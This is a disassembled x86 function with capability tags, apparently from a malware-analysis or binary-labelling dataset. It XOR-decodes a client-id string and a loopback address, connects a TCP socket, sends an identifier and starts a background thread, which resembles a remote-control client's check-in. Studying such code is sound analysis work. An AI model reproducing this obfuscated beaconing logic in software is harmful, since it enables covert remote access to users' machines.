Function at 0x100016e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Create thread
Encode data using xor
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10004d43
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x10007008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x40], 0
lea eax, [ebp - 0x24]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2c], 0x5b
push str.__client_id__
push eax
mov dword [ebp - 0x28], 0xe
call fcn.100025f0
xor ecx, ecx
cmp dword [ebp - 0x28], ecx
jbe 0x10001744
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, dword [ebp - 0x28]
jb 0x10001737
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x74]
call fcn.100027a0
mov dword [ebp - 4], 0
mov dl, 0xf1
mov byte [ebp - 0x28], dl
xor ecx, ecx
mov dword [ebp - 0x24], 0xa
mov dword [ebp - 0x20], 0xdfc6c3c0
mov dword [ebp - 0x1c], 0xdfc1dfc1
mov word [ebp - 0x18], 0xf1c0
nop dword [eax]
lea eax, [ebp - 0x20]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, dword [ebp - 0x24]
jae 0x10001791
mov dl, byte [ebp - 0x28]
jmp 0x10001780
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x5c]
call fcn.100027a0
mov byte [ebp - 4], 1
mov eax, 0x68ec1f7f
mov dword [ebp - 0x28], eax
xor ecx, ecx
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0x68ec1a44
mov dword [ebp - 0x18], 0x6e09a36f
xor dword [ebp + ecx*4 - 0x1c], eax
inc ecx
cmp ecx, dword [ebp - 0x24]
jae 0x100017d6
mov eax, dword [ebp - 0x28]
jmp 0x100017c7
mov eax, dword [ebp - 0x20]
push 0x18
mov edi, dword [ebp + eax*4 - 0x1c]
call fcn.10003bb2
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x220]
xorps xmm0, xmm0
add esp, 4
movups xmmword [eax], xmm0
movq qword [eax + 0x10], xmm0
mov dword [0x10007434], eax
lea eax, [ebp - 0x5c]
push eax
call fcn.100028b0
mov esi, dword [0x10007434]
lea eax, [ebp - 0x204]
mov byte [ebp - 4], 2
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0xc], eax
cmp eax, 0xffffffff
je 0x10001895
push 4
call fcn.10003bb2
add esp, 4
mov dword [esi + 0x10], eax
mov dword [eax], 0
mov eax, 2
push edi
mov word [ebp - 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
cmp dword [ebp - 0x20c], 0x10
lea ecx, [ebp - 0x20]
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x220]
cmovae eax, dword [ebp - 0x220]
push ecx
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [ebp - 0x24]
push eax
push dword [esi + 0xc]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100018d7
mov ecx, dword [ebp - 0x20c]
cmp ecx, 0x10
jb 0x100018cb
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100018c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001921
push ecx
push edx
call fcn.10003f01
add esp, 8
mov byte [ebp - 0x205], 0
jmp 0x10001b3d
push 4
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 1
push eax
push 1
push 6
push dword [esi + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x20c]
cmp ecx, 0x10
jb 0x10001931
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001927
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001927
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10003f01
add esp, 8
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c], xmm0
movups xmmword [ebp - 0x3c], xmm0
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x220]
call fcn.100028b0
mov byte [ebp - 4], 4
lea eax, [ebp - 0x220]
cmp dword [ebp - 0x20c], 0x10
mov edi, dword [ebp - 0x210]
cmovae eax, dword [ebp - 0x220]
xor esi, esi
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x40], edi
nop dword [eax + eax]
mov al, byte [ebp + esi - 0x40]
mov byte [ebp - 0x205], al
cmp edx, dword [ebp - 0x34]
je 0x1000199a
mov byte [edx], al
mov edx, dword [ebp - 0x38]
inc edx
mov dword [ebp - 0x38], edx
jmp 0x100019ad
lea eax, [ebp - 0x205]
push eax
push edx
lea ecx, [ebp - 0x3c]
call fcn.10003960
mov edx, dword [ebp - 0x38]
inc esi
cmp esi, 4
jb 0x10001980
mov eax, dword [ebp - 0x34]
mov esi, edx
sub esi, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x3c]
add esi, edi
cmp esi, eax
jbe 0x100019dc
cmp esi, 0x7fffffff
ja 0x10001bdb
push esi
lea ecx, [ebp - 0x3c]
call fcn.10002ad0
mov edx, dword [ebp - 0x38]
push edi
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3c]
push edx
call fcn.100035e0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x20c]
cmp ecx, 0x10
jb 0x10001a29
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001a1f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001a1f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10003f01
add esp, 8
mov eax, dword [0x10007408]
xor esi, esi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x38]
nop word [eax + eax]
mov cl, byte [ebp + esi - 0x14]
mov byte [ebp - 0x205], cl
cmp eax, dword [ebp - 0x34]
je 0x10001a5a
mov byte [eax], cl
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
jmp 0x10001a6d
lea ecx, [ebp - 0x205]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.10003960
mov eax, dword [ebp - 0x38]
inc esi
cmp esi, 4
jb 0x10001a40
mov ecx, dword [0x10007434]
lea eax, [ebp - 0x3c]
push eax
call fcn.100013d0
test al, al
jne 0x10001a8e
mov byte [ebp - 0x205], al
jmp 0x10001af8
push 8
call fcn.10003bb2
mov ecx, dword [0x10007434]
mov dword [ebp - 0x14], eax
mov dword [eax], ecx
mov dword [eax + 4], 0x100015d0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 5
push ecx
push 0
push eax
push 0x10003af0
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x1c
mov dword [ebp - 0x44], eax
test eax, eax
je 0x10001bcc
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x40]
test ecx, ecx
je 0x10001bc4
push ecx
push eax
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
jne 0x10001bc4
mov byte [ebp - 0x205], 1
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x10001b3d
mov edx, dword [ebp - 0x34]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10001b1e
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001b93
push edx
push ecx
call fcn.10003f01
add esp, 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x10001b6d
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001b63
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001b93
push ecx
push edx
call fcn.10003f01
add esp, 8
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x10001ba3
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001b99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001b99
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10003f01
add esp, 8
mov al, byte [ebp - 0x205]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10003ba4
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 6
mov dword [ebp - 0x40], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
call fcn.10002ac0
int3